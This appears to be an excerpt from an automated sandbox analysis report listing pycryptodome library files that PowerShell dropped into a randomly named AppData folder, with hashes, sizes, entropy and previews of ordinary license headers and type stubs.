              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\PKCS1_v1_5.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):467
              Entropy (8bit):4.916093935652459
              Encrypted:false
              SSDEEP:
              MD5:CA5E82193E428D853927F573B9D0AFFD
              SHA1:D1A94E957421405394C4EA31C15A384E3B758978
              SHA-256:FCA639E57C49A12AE306A309B29E2D2F49730F65AA23C5FF7DBC031A9EE8D378
              SHA-512:EEEDB242B966E71847B03C7CBBC519E77BBCB1DCCD2BE1CEE0BBF2A29B9833F22ACCAD774B7F782D4BF3D3F3EDC7B959117252D2C6C21ABFB1678166BE80AF84
              Malicious:false
              Reputation:unknown
              Preview:from typing import Optional..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey....class Hash(Protocol):.. def digest(self) -> bytes: .......class PKCS115_SigScheme:.. def __init__(self, rsa_key: RsaKey) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> bool: .........def new(rsa_key: RsaKey) -> PKCS115_SigScheme: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1731
              Entropy (8bit):5.278283491953278
              Encrypted:false
              SSDEEP:
              MD5:60FAD4E2C2EF2BA9BC88934491AB89F8
              SHA1:45D630681807B431E6A26BF1438B4A477F07BE74
              SHA-256:2567D9DADE66C8CE9981C1B3856398708FFF5037E6ABBF4C0A9D60AFBD1E8678
              SHA-512:DDF73D98249043EB96E57121447EAEABB54E31DD35ACEC319FA7195B9DBC03D1B914E4014A023CB5ADC01F5DCB9C981ADF4F962EFAF011B723EC1F6C47CE5D10
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\eddsa.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12758
              Entropy (8bit):4.953249726457768
              Encrypted:false
              SSDEEP:
              MD5:0A4AF23CD5DF55B2C6E57D27689FCD5C
              SHA1:EAC0752A6E323C8A7EEB4D740268364526422DB5
              SHA-256:2DC65C619AFC2F1F5D170FA8FC67998B78FEB6ECC9EA4A3375AFE3C10AB37348
              SHA-512:E540382C6CCBACA754AED2B9F9A0D90938A37A00ED27B3829AD69B6089EC267767BEEB10968FD30BA7CBA586E20EB2DA6FE5D5ABC69AFA77AFE935C5D2D3482B
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2022, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\eddsa.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):747
              Entropy (8bit):4.991320777959256
              Encrypted:false
              SSDEEP:
              MD5:F75719D633E9543F8B2191818F5F949E
              SHA1:50C2F1E8A90E757A473DDD36FA897EBA33B52786
              SHA-256:AB1B0BBE6DF0B563E17CF22EB3DCE37DAC436C836F19A3498647B6A167BC2C45
              SHA-512:B5472537D636DB5D8EE6BADEA791816C4E6B052D899AB443D8BC5CB5E4721B1C1B79160F114FEC8A289578566084D3B5C8E7E0385066A331FC9864465BBD0541
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional..from typing_extensions import Protocol..from Crypto.PublicKey.ECC import EccKey....class Hash(Protocol):.. def digest(self) -> bytes: .......class XOF(Protocol):.. def read(self, len: int) -> bytes: .......def import_public_key(encoded: bytes) -> EccKey: .....def import_private_key(encoded: bytes) -> EccKey: .......class EdDSASigScheme(object):.... def __init__(self, key: EccKey, context: bytes) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_or_hash: Union[bytes, Hash, XOF]) -> bytes: ..... def verify(self, msg_or_hash: Union[bytes, Hash, XOF], signature: bytes) -> None: .......def new(key: EccKey, mode: str, context: Optional[bytes]=None) -> EdDSASigScheme: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\pkcs1_15.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9088
              Entropy (8bit):5.053423261865839
              Encrypted:false
              SSDEEP:
              MD5:8DD798B530CC55801BC2744A469CD46F
              SHA1:70FBA1485270D0F63B5C676B2AFC0CCAF606A06F
              SHA-256:2E59C1BB1C7A738F51343213C94F49503CB91BAD07D906272FA44BCC1CEDD8FA
              SHA-512:82DBDDC02494535B90B4388ED6698CBC4F90A0589B32A5D693C8134BF682007896E47C0055C222FE89260AF21CE8E0D4F639CEE61F02677893BD82937C310173
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\pkcs1_15.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):581
              Entropy (8bit):5.067047688730709
              Encrypted:false
              SSDEEP:
              MD5:DC28B90A844CBE3BCE2F14FBAD339B51
              SHA1:920E136B27895D970DE44FC61B00180D4DB686F2
              SHA-256:E2CE13431A88DD8206D23EF6C0E1935B61795A97166309CA8FBED78D68AF6FED
              SHA-512:BC0C4D5F5FD2DB593B00144EB4DDC1BEE12B71CA399CC08C25F00C11B0463404B64FD20F2A13FC91B83ED7DE03E132AA1E968D12373D96E74BFDA0C4CA68A105
              Malicious:false
              Reputation:unknown
              Preview:from typing import Optional..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey....class Hash(Protocol):.. def digest(self) -> bytes: .......class PKCS115_SigScheme:.. def __init__(self, rsa_key: RsaKey) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> None: .......def _EMSA_PKCS1_V1_5_ENCODE(msg_hash: Hash, emLen: int, with_hash_parameters: Optional[bool]=True) -> bytes: .......def new(rsa_key: RsaKey) -> PKCS115_SigScheme: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\pss.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13970
              Entropy (8bit):4.861341757640308
              Encrypted:false
              SSDEEP:
              MD5:2A9F316CD479BB56AE101218E1B96816
              SHA1:3E63E6B6F8D771082C7DFF39B827BBB55BDA5CA9
              SHA-256:47736BFBB2762DEA089BE962E283E1E1155C51A2280C1839F5494B5BA9B72973
              SHA-512:C0F595025D3C77DB448177FFFAEC7FFA82FC021F08A351E00644CCA0F1006B1D68B4D6D567D242D56040CB7180D8B69DDD592C9ED85D653C34F8CCA026DCB84D
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Signature\pss.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1071
              Entropy (8bit):5.102431129383602
              Encrypted:false
              SSDEEP:
              MD5:505820D514B9F7B2244301F2DC317034
              SHA1:A90CFF03252A14134E286EB646ED62D9B82E076D
              SHA-256:0A62FC61A9C9A60FDADEFBCF20BCAD59140D16C09E4485A28820F9D14B156ACE
              SHA-512:B5A534C52FC07BC8E0A145F628857381F7A8F4570459A83D3DFD4BFB0A6BD526465C1291CB8F2714F5B8A02D12A3403FBEC6B666BE49608B87D3CA80E10D8EC8
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Callable, Optional..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey......class Hash(Protocol):.. def digest(self) -> bytes: ..... def update(self, bytes) -> None: .........class HashModule(Protocol):.. @staticmethod.. def new(data: Optional[bytes]) -> Hash: .........MaskFunction = Callable[[bytes, int, Union[Hash, HashModule]], bytes]..RndFunction = Callable[[int], bytes]....class PSS_SigScheme:.. def __init__(self, key: RsaKey, mgfunc: MaskFunction, saltLen: int, randfunc: RndFunction) -> None: ..... def can_sign(self) -> bool: ..... def sign(self, msg_hash: Hash) -> bytes: ..... def verify(self, msg_hash: Hash, signature: bytes) -> None: .........MGF1 : MaskFunction..def _EMSA_PSS_ENCODE(mhash: Hash, emBits: int, randFunc: RndFunction, mgf:MaskFunction, sLen: int) -> str: .....def _EMSA_PSS_VERIFY(mhash: Hash, em: str, emBits: int, mgf: MaskFunction, sLen: int) -> None: .....def new(rsa_key: RsaKey, *

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\Counter.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):3292
              Entropy (8bit):5.003098854081704
              Encrypted:false
              SSDEEP:
              MD5:25E5852A52182CBF645AC075BDE04C8E
              SHA1:5431574C5E607B91EE33D90D2DBD52E6634622A5
              SHA-256:E0D9B91A882D3986EF288761C85527F658E552B9A48B02AD630896A10B155F9B
              SHA-512:8AE1F5A17386A33B2C6E4D9360C2CCFEA10549DCDDAA920919B12C8FF4975AAA536E759C5C98885E9863194381B3C9B1E40D935C2562C80786CC9EEAE238A4BD
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: ascii -*-..#..# Util/Counter.py : Fast counter for use with CTR-mode ciphers..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\Counter.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):295
              Entropy (8bit):4.705947008789207
              Encrypted:false
              SSDEEP:
              MD5:48844D3840F12D7CC253481AEB936730
              SHA1:2329321B884361FF52CD1E79D4ECD3ABD2C08309
              SHA-256:7A86661370C3B894AEB4EDAD8755466DE52226588608A530F63F3E3379585AD0
              SHA-512:06990D253057568DB8B16CAFF5599CD48FDE3100B5193213BD250BD1797D11F2A62C00D493AAC5CA60CD557514B3AC543454D9D50991B9EEAA735B3D6E3A7150
              Malicious:false
              Reputation:unknown
              Preview:from typing import Optional, Union, Dict....def new(nbits: int, prefix: Optional[bytes]=..., suffix: Optional[bytes]=..., initial_value: Optional[int]=1,.. little_endian: Optional[bool]=False, allow_wraparound: Optional[bool]=False) -> \.. Dict[str, Union[int, bytes, bool]]: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\Padding.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4421
              Entropy (8bit):5.191112640865006
              Encrypted:false
              SSDEEP:
              MD5:FBF391FD249DDBB1C32502AC42999B5D
              SHA1:9559F22269BBE2A0F918705DED635B8CC666DD10
              SHA-256:A04416E7AA698FFFC0301EE284720426B69E9A3BCB2A0C7E954A054698C29405
              SHA-512:4241AEF302C010640C2FA86D92F2EE7EA34A865F759D14C02024F62A3452C593C0BCCABFE46043E879EB1CD73A290F85C0DD106A294684F628C100EA06382DF9
              Malicious:false
              Reputation:unknown
              Preview:#..# Util/Padding.py : Functions to manage padding..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SH

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\Padding.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):243
              Entropy (8bit):4.823438083026704
              Encrypted:false
              SSDEEP:
              MD5:72AE5A92A5B5373240F3184324E84F6B
              SHA1:976AEA0ED87A3C086D068AE560FDB2FFCD591676
              SHA-256:ED464B7B39D2481D2C4DE1FF908308ADF7F035B21B3F7A242E469F1BD173DEF6
              SHA-512:27C15B7D76E180E1B65D566D8225C3661E78854515C9716A645C5F62E444B5A90AB61DDF92677B9C4A1276921711C281C814CAC60FA6D0BFC76A7716E4124613
              Malicious:false
              Reputation:unknown
              Preview:from typing import Optional....__all__ = [ 'pad', 'unpad' ]....def pad(data_to_pad: bytes, block_size: int, style: Optional[str]='pkcs7') -> bytes: .....def unpad(padded_data: bytes, block_size: int, style: Optional[str]='pkcs7') -> bytes: ...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\RFC1751.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):21578
              Entropy (8bit):4.591349548627808
              Encrypted:false
              SSDEEP:
              MD5:73AEDFB55D3A90F08A29CC5D0AB7E623
              SHA1:D576725EC2571123AFE056369B58063BFB9D7724
              SHA-256:DFDB8CD578E00E485AD2070F24A3CFD7B0E75C972EBA73912B0BB59D8D67193B
              SHA-512:BB63BA3D20FC92A942F16C35E0128AEB2810310F75778FD6218D037D40AFFFCF3E19FFADE08882C0EC781548EACB5588A5B5A964E96FC5753CF44A9053EAADFD
              Malicious:false
              Reputation:unknown
              Preview:# rfc1751.py : Converts between 128-bit strings and a human-readable..# sequence of words, as defined in RFC1751: "A Convention for..# Human-Readable 128-bit Keys", by Daniel L. McDonald...#..# Part of the Python Cryptography Toolkit..#..# Written by Andrew M. Kuchling and others..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DA

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\RFC1751.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):166
              Entropy (8bit):4.7074966574817525
              Encrypted:false
              SSDEEP:
              MD5:0DE296D8A8547E04D6926C50733B2BE8
              SHA1:00E9FDFFF578A121326A68BDDAD8C135CEDAD52D
              SHA-256:76B2DA534877F2226EA2D41EC36651EA9B0344F541B7B127DD6C51994F90F2C5
              SHA-512:1E6630A95E807139497202AB681F9B77974C90723DFFDADD1E100B4802B0D677DD4D2A3AC65A8ECF700AC6E1CC8BB353C2EBFFBBEE0AFB1C6ACA4C0D78C72A9E
              Malicious:false
              Reputation:unknown
              Preview:from typing import Dict, List....binary: Dict[int, str]..wordlist: List[str]....def key_to_english(key: bytes) -> str: .....def english_to_key(s: str) -> bytes: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\asn1.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):37233
              Entropy (8bit):4.49642341890235
              Encrypted:false
              SSDEEP:
              MD5:9D11029C7D2E1C72C06B462CA3AA996B
              SHA1:E783B5F0CC01BC86D0C16D3B4F54300D57C214C8
              SHA-256:EEDE3556B282CDC640281A6AB6DF6C7EE20F9BE59C37B01AC09EA32F0F35887E
              SHA-512:33D713F6CA8260831AD984D88F279441819308D7C9A3F7A92770D0731BDD74F90EFA46124FAAEACFE74EEACB84D1F6217CA6D01DED3270DF53A5C7D2311B535F
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: ascii -*-..#..# Util/asn1.py : Minimal support for ASN.1 DER binary encoding...#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\asn1.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3885
              Entropy (8bit):4.815634844501543
              Encrypted:false
              SSDEEP:
              MD5:1EFE3020CA61E0B1DA7B8680D73F84DA
              SHA1:D996C31812286881EB3D6E3FA28715095EC5587F
              SHA-256:4DB889724654605FF759C5B7D754174D13F71B3B621792E48AD0F9BE0CFCCC57
              SHA-512:12D48E230826E09437536FB35642F434E71D5C219A6B61FAF064B785CD09E131F7595AC7DBE1A359C81B23DC24B3436F6AFDF9CE7EBD6961EBEDAF23F5F81F28
              Malicious:false
              Reputation:unknown
              Preview:from typing import Optional, Sequence, Union, Set, Iterable....__all__ = ['DerObject', 'DerInteger', 'DerOctetString', 'DerNull',.. 'DerSequence', 'DerObjectId', 'DerBitString', 'DerSetOf']....# TODO: Make the encoded DerObjects their own type, so that DerSequence and..# DerSetOf can check their contents better....class BytesIO_EOF:.. def __init__(self, initial_bytes: bytes) -> None: ..... def set_bookmark(self) -> None: ..... def data_since_bookmark(self) -> bytes: ..... def remaining_data(self) -> int: ..... def read(self, length: int) -> bytes: ..... def read_byte(self) -> bytes: .......class DerObject:.. payload: bytes.. def __init__(self, asn1Id: Optional[int]=None, payload: Optional[bytes]=..., implicit: Optional[int]=None,.. constructed: Optional[bool]=False, explicit: Optional[int]=None) -> None: ..... def encode(self) -> bytes: ..... def decode(self, der_encoded: bytes, strict: bool=...) -> DerObject: .......class DerInte

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\number.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):97896
              Entropy (8bit):4.090850897275891
              Encrypted:false
              SSDEEP:
              MD5:3602B83C3AC94CFAAFA24C3A8C41895B
              SHA1:5F4C1EB93B011F12A117C509CE7A878420D19307
              SHA-256:6CE48B150797316B1DC24B6AD759F0A3F2D3D6DA339E5BCCEDEC9342800450E5
              SHA-512:BC2F5B9DEB7D7678A67092CCCB1BEEA42E2B6BD9E028F9764C675340E247A8967D7704F054A1E4035C9698C8F7DD4FB3548502E157892E2DE36ADF917C3BD311
              Malicious:false
              Reputation:unknown
              Preview:#..# number.py : Number-theoretic functions..#..# Part of the Python Cryptography Toolkit..#..# Written by Andrew M. Kuchling, Barry A. Warsaw, and others..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\number.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):994
              Entropy (8bit):4.898132103946567
              Encrypted:false
              SSDEEP:
              MD5:81227B5A65D7EF13CB0247C9B7225673
              SHA1:8954A181B5E8D7B31145E5C139935B9780E4D1EB
              SHA-256:6BD67E3A908997245FB373BC1C4971BAC0CFDD5FC17D4B7CDBD3F51AD6774AF1
              SHA-512:12F42616F440853BF94758392116879BE87073F515AE0C33454BFAC2D80140DE0FCC0469E34D8E06B42436A3EDEF4B5BE8D0E7C5EFCE413CE0F89041556CCA59
              Malicious:false
              Reputation:unknown
              Preview:from typing import List, Optional, Callable......def ceil_div(n: int, d: int) -> int: .....def size (N: int) -> int: .....def getRandomInteger(N: int, randfunc: Optional[Callable]=None) -> int: .....def getRandomRange(a: int, b: int, randfunc: Optional[Callable]=None) -> int: .....def getRandomNBitInteger(N: int, randfunc: Optional[Callable]=None) -> int: .....def GCD(x: int,y: int) -> int: .....def inverse(u: int, v: int) -> int: .....def getPrime(N: int, randfunc: Optional[Callable]=None) -> int: .....def getStrongPrime(N: int, e: Optional[int]=0, false_positive_prob: Optional[float]=1e-6, randfunc: Optional[Callable]=None) -> int: .....def isPrime(N: int, false_positive_prob: Optional[float]=1e-6, randfunc: Optional[Callable]=None) -> bool: .....def long_to_bytes(n: int, blocksize: Optional[int]=0) -> bytes: .....def bytes_to_long(s: bytes) -> int: .....def long2str(n: int, blocksize: Optional[int]=0) -> bytes: .....def str2long(s: bytes) -> int: .......sieve_base: List[int]..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\py3compat.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):6010
              Entropy (8bit):4.8279694547928065
              Encrypted:false
              SSDEEP:
              MD5:11D063AE5BC40D2D943DF399F95DDA04
              SHA1:6D8C8391EEBDAE9FE2724F791B5D87A16E4D77CE
              SHA-256:2CF7955872D7D8A23F12B9340AC867E8E342102FED7B80DBA25B6303D7992155
              SHA-512:B2E2C98C03916DE5BB15F36B9A1972769825E1E514AFEA153AC292F3FFF716E589FCF009BD42459D5B7A35C456A3645F2D3D0E59DAFEF198563CDBF83F2B2245
              Malicious:false
              Reputation:unknown
